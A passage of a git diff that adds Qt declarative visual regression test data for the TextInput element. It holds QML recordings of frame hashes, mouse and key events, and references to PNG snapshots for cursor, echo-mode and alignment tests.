"871025c33fa769a790fc460a95b183ec" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 222; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8144 + hash: "85ff2968ba06443f300c9c0ef36c7054" + } + Frame { + msec: 8160 + hash: "fcad1d2819e3cede6081b4dfbb5a4a65" + } + Frame { + msec: 8176 + hash: "328c8133c68fc2e86dc2193d1bee3259" + } + Frame { + msec: 8192 + hash: "7a5a6a02f57545d9f2336ff18dd118d6" + } + Frame { + msec: 8208 + hash: "16c52065169bffc4648eda0226dba13a" + } + Frame { + msec: 8224 + hash: "ebce1d3b4d088278b6f36dac444c7ca6" + } + Frame { + msec: 8240 + hash: "ca56899ded0e5ea361aac24493793f58" + } + Frame { + msec: 8256 + hash: "4ba0117db1ff431de20c06c79866d509" + } + Frame { + msec: 8272 + hash: "d64c06c25229b3b64b779ca1bef7d2cb" + } + Frame { + msec: 8288 + hash: "38ca918199552a525fb7f3a3773761d9" + } + Frame { + msec: 8304 + hash: "74201a80a9032cb18b0c9e26bb67363f" + } + Frame { + msec: 8320 + hash: "307d4fb47604c00e213f8d9616e0da13" + } + Frame { + msec: 8336 + hash: "9ad660f83ed62b964b676106f8aa7114" + } + Frame { + msec: 8352 + hash: "457fc0df515f9813e98a6a86f4ab5231" + } + Frame { + msec: 8368 + hash: "372cbc6ad4edc85319743627ced05671" + } + Frame { + msec: 8384 + hash: "4e08beac6ee40acaa4de6963522d63d0" + } + Frame { + msec: 8400 + hash: "5e790c2199a5e95fc17f8c0b49809cc9" + } + Frame { + msec: 8416 + hash: "e36310e1866d4a95bac60084fa4aa2c1" + } + Frame { + msec: 8432 + hash: "b7182b171316cc2db4de2b23de93dc41" + } + Frame { + msec: 8448 + hash: "6aaf7f8e6e238973dfd4030eb146198b" + } + Frame { + msec: 8464 + hash: "901ead3167e602dfe043c56c6c805d54" + } + Frame { + msec: 8480 + hash: "5a97542680475b1382ad5b7c3f6fa96a" + } + Frame { + msec: 8496 + hash: "fb34d93127f3c3ad0c7bacce0200753b" + } + Frame { + msec: 8512 + hash: "993c97dc85e83e241538356e317b7767" + } + Frame { + msec: 8528 + hash: "fb11a9edb3a613be5cb6949c76c5c715" + } + Frame { + msec: 8544 + hash: "e68b7461f94adeaf330f67d36d0d3b3e" + } + Frame { + msec: 8560 + hash: "7ed043cc027fdb467bd16847187cd48d" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 277; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8576 + hash: "fefbb2f4671f8a36f9d2207ced8c0bfb" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 277; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8592 + hash: "1ab596339afc1f96136ee69c4b7688e1" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 276; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8608 + hash: "e07f59d729cb2790296e8c7cd3d0d3c9" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 276; y: 98 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 8624 + hash: "a7dccada1080487cab2d0a916676c5cb" + } + Frame { + msec: 8640 + image: "cursorDelegate.8.png" + } + Frame { + msec: 8656 + hash: "9329d353c678d2bc61d08f63029d1b9b" + } + Frame { + msec: 8672 + hash: "41263f56af7875028bb0c1e7eccf6f5d" + } + Frame { + msec: 8688 + hash: "e2eb18af82c85ea78ba438163e922df3" + } + Frame { + msec: 8704 + hash: "91b2695e4915238ae8610a64e279b0f4" + } + Frame { + msec: 8720 + hash: "a97d90765f87b998eae6e9f603c61bff" + } + Frame { + msec: 8736 + hash: "48969edab07b942480d93ac2d383ca24" + } + Frame { + msec: 8752 + hash: "ecfd9d6d5873001f0c67806544a14983" + } + Frame { + msec: 8768 + hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" + } + Frame { + msec: 8784 + hash: "e337735ad0b42e60c54f16f3da7af3cf" + } + Frame { + msec: 8800 + hash: "c39db081130d269f25dbcb1a19afb8d0" + } + Frame { + msec: 8816 + hash: "c464d501e3935ec0f53eb780bd1a8289" + } + Frame { + msec: 8832 + hash: "2be4fd986de19f6f76dfddec75b26804" + } + Frame { + msec: 8848 + hash: "a1280e9fb86ca96b2340bb70aa774806" + } + Frame { + msec: 8864 + hash: "cce4c17a387893478bcfa547f7561aba" + } + Frame { + msec: 8880 + hash: "7094db3e04895d8d7f5f58caf0658592" + } + Frame { + msec: 8896 + hash: "edb1f644757f9ba0a39549d77141c280" + } + Frame { + msec: 8912 + hash: "cd381e847ecfce2db111bdf94a437cbc" + } + Frame { + msec: 8928 + hash: "6a089603b641b683a744b88f2ebe82d1" + } + Frame { + msec: 8944 + hash: "8c0e47f7c87a1a11cd733a453b31c780" + } + Frame { + msec: 8960 + hash: "b53c892d62e787eb2565820d79739de6" + } + Frame { + msec: 8976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9072 + hash: "b53c892d62e787eb2565820d79739de6" + } + Frame { + msec: 9088 + hash: "8c0e47f7c87a1a11cd733a453b31c780" + } + Frame { + msec: 9104 + hash: "6a089603b641b683a744b88f2ebe82d1" + } + Frame { + msec: 9120 + hash: "cd381e847ecfce2db111bdf94a437cbc" + } + Frame { + msec: 9136 + hash: "edb1f644757f9ba0a39549d77141c280" + } + Frame { + msec: 9152 + hash: "7094db3e04895d8d7f5f58caf0658592" + } + Frame { + msec: 9168 + hash: "cce4c17a387893478bcfa547f7561aba" + } + Frame { + msec: 9184 + hash: "a1280e9fb86ca96b2340bb70aa774806" + } + Frame { + msec: 9200 + hash: "2be4fd986de19f6f76dfddec75b26804" + } + Frame { + msec: 9216 + hash: "c464d501e3935ec0f53eb780bd1a8289" + } + Frame { + msec: 9232 + hash: "c39db081130d269f25dbcb1a19afb8d0" + } + Frame { + msec: 9248 + hash: "e337735ad0b42e60c54f16f3da7af3cf" + } + Frame { + msec: 9264 + hash: "a3a3bc1e2523d3e7f961893bcd1dd3a8" + } + Frame { + msec: 9280 + hash: "ecfd9d6d5873001f0c67806544a14983" + } + Frame { + msec: 9296 + hash: "48969edab07b942480d93ac2d383ca24" + } + Frame { + msec: 9312 + hash: "a97d90765f87b998eae6e9f603c61bff" + } + Frame { + msec: 9328 + hash: "91b2695e4915238ae8610a64e279b0f4" + } + Frame { + msec: 9344 + hash: "e2eb18af82c85ea78ba438163e922df3" + } + Frame { + msec: 9360 + hash: "41263f56af7875028bb0c1e7eccf6f5d" + } + Frame { + msec: 9376 + hash: "9329d353c678d2bc61d08f63029d1b9b" + } + Frame { + msec: 9392 + hash: "ac5939eb4379394fab829b307cbfe7ec" + } + Frame { + msec: 9408 + hash: "a7dccada1080487cab2d0a916676c5cb" + } + Frame { + msec: 9424 + hash: "e07f59d729cb2790296e8c7cd3d0d3c9" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png new file mode 100644 index 0000000..2b45a06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png new file mode 100644 index 0000000..1f5bae0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png new file mode 100644 index 0000000..cb2b5a4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png new file mode 100644 index 0000000..aa24805 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.4.png new file mode 100644 index 0000000..aa24805 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml new file mode 100644 index 0000000..dd7b291 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/echoMode.qml @@ -0,0 +1,1043 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 32 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Key { + type: 6 + key: 16777248 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 48 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 64 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 80 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 96 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 112 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 128 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 144 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 160 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 176 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 192 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 208 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 224 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 240 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 256 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 272 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 288 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 304 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 320 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 336 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Frame { + msec: 352 + hash: "b73bd9c2fef8812591fff9f43b73da13" + } + Key { + type: 6 + key: 74 + modifiers: 33554432 + text: "4a" + autorep: false + count: 1 + } + Frame { + msec: 368 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 384 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 400 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 416 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 432 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 7 + key: 74 + modifiers: 33554432 + text: "4a" + autorep: false + count: 1 + } + Frame { + msec: 448 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 464 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 480 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 496 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 512 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 528 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 7 + key: 16777248 + modifiers: 33554432 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 560 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 576 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 592 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 608 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 624 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 640 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 656 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 672 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Frame { + msec: 688 + hash: "e8b6bdc7d552bb13c5dc2f50b8cf1125" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 704 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 720 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 736 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 752 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 768 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 784 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 800 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 816 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 832 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Frame { + msec: 848 + hash: "fbc09d695e0b47aae6e977c13f535bfd" + } + Key { + type: 6 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 864 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 880 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 896 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Key { + type: 7 + key: 67 + modifiers: 0 + text: "63" + autorep: false + count: 1 + } + Frame { + msec: 912 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 928 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 944 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Frame { + msec: 960 + image: "echoMode.0.png" + } + Frame { + msec: 976 + hash: "a4b81c526a5bf8902fde9b8721980977" + } + Key { + type: 6 + key: 75 + modifiers: 0 + text: "6b" + autorep: false + count: 1 + } + Frame { + msec: 992 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1008 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1024 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1040 + hash: "d072aebc2314a149a856634786b208a0" + } + Key { + type: 7 + key: 75 + modifiers: 0 + text: "6b" + autorep: false + count: 1 + } + Frame { + msec: 1056 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1072 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1088 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1104 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1120 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1136 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1152 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1168 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1184 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1200 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1216 + hash: "d072aebc2314a149a856634786b208a0" + } + Frame { + msec: 1232 + hash: "d072aebc2314a149a856634786b208a0" + } + Key { + type: 6 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 1248 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1264 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1280 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Key { + type: 7 + key: 68 + modifiers: 0 + text: "64" + autorep: false + count: 1 + } + Frame { + msec: 1296 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1312 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Frame { + msec: 1328 + hash: "94defec2865529f185d02cfcbfe166cc" + } + Key { + type: 6 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1344 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1360 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1376 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1392 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1408 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1424 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1440 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1456 + hash: "f625a2a82879df96141000e6931d4487" + } + Frame { + msec: 1472 + hash: "f625a2a82879df96141000e6931d4487" + } + Key { + type: 7 + key: 65 + modifiers: 0 + text: "61" + autorep: false + count: 1 + } + Frame { + msec: 1488 + hash: "f625a2a82879df96141000e6931d4487" + } + Key { + type: 6 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 1504 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1520 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1536 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1552 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Key { + type: 7 + key: 87 + modifiers: 0 + text: "77" + autorep: false + count: 1 + } + Frame { + msec: 1568 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1584 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1600 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1616 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1632 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Frame { + msec: 1648 + hash: "1cf29837a4ea63bbb06c15382680d1b6" + } + Key { + type: 6 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1680 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1696 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1712 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1728 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1744 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 7 + key: 83 + modifiers: 0 + text: "73" + autorep: false + count: 1 + } + Frame { + msec: 1760 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1776 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1792 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 1808 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1824 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1840 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Frame { + msec: 1856 + hash: "6eabb6d168ecc9ac604dcf2db0075380" + } + Key { + type: 6 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 1872 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1888 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1904 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1920 + image: "echoMode.1.png" + } + Key { + type: 7 + key: 76 + modifiers: 0 + text: "6c" + autorep: false + count: 1 + } + Frame { + msec: 1936 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1952 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1968 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 1984 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 2000 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Frame { + msec: 2016 + hash: "cb2dc1c4fc4e213841b873561f404a4f" + } + Key { + type: 6 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 2032 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Frame { + msec: 2048 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Key { + type: 7 + key: 79 + modifiers: 0 + text: "6f" + autorep: false + count: 1 + } + Frame { + msec: 2064 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Frame { + msec: 2080 + hash: "c2aff1ebdee69cca7dc67a102fce5e8e" + } + Key { + type: 6 + key: 86 + modifiers: 0 + text: "76" + autorep: false + count: 1 + } + Frame { + msec: 2096 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2112 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2128 + hash: "c82441813af6ff577687f29f6a09da38" + } + Frame { + msec: 2144 + hash: "c82441813af6ff577687f29f6a09da38" + } + Key { + type: 6 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Key { + type: 7 + key: 86 + modifiers: 0 + text: "76" + autorep: false + count: 1 + } + Frame { + msec: 2160 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2176 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2192 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2208 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 6 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2224 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 7 + key: 69 + modifiers: 0 + text: "65" + autorep: false + count: 1 + } + Frame { + msec: 2240 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2256 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2272 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2288 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2304 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 7 + key: 32 + modifiers: 0 + text: "20" + autorep: false + count: 1 + } + Frame { + msec: 2320 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Frame { + msec: 2336 + hash: "d7da9862980b99e97a1fcd1b5c4c976f" + } + Key { + type: 6 + key: 77 + modifiers: 0 + text: "6d" + autorep: false + count: 1 + } + Frame { + msec: 2352 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2368 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2384 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2400 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2416 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2432 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Key { + type: 7 + key: 77 + modifiers: 0 + text: "6d" + autorep: false + count: 1 + } + Frame { + msec: 2448 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2464 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2480 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Frame { + msec: 2496 + hash: "8f36e26d8685fe55e7a1dd294188f649" + } + Key { + type: 6 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 2512 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2528 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2544 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Key { + type: 7 + key: 89 + modifiers: 0 + text: "79" + autorep: false + count: 1 + } + Frame { + msec: 2560 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2576 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2592 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2608 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2624 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2640 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2656 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2672 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2688 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2704 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2720 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2736 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2752 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2768 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2784 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2800 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2816 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2832 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2848 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2864 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2880 + image: "echoMode.2.png" + } + Frame { + msec: 2896 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2912 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2928 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2944 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2960 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2976 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 2992 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3008 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3024 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3040 + hash: "316f2ba46d059755576e6822dc77afb2" + } + Frame { + msec: 3056 + hash: "316f2ba46d059755576e6822dc77afb2" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png new file mode 100644 index 0000000..87c2e07 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml new file mode 100644 index 0000000..e29ac56 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextinput/data-X11/hAlign.qml @@ -0,0 +1,107 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 32 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 48 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 64 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 80 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 96 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 112 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 128 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 144 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 160 + hash: "7619ed68aca3544f373777e11a4bfefa" + } + Frame { + msec: 176 + hash: 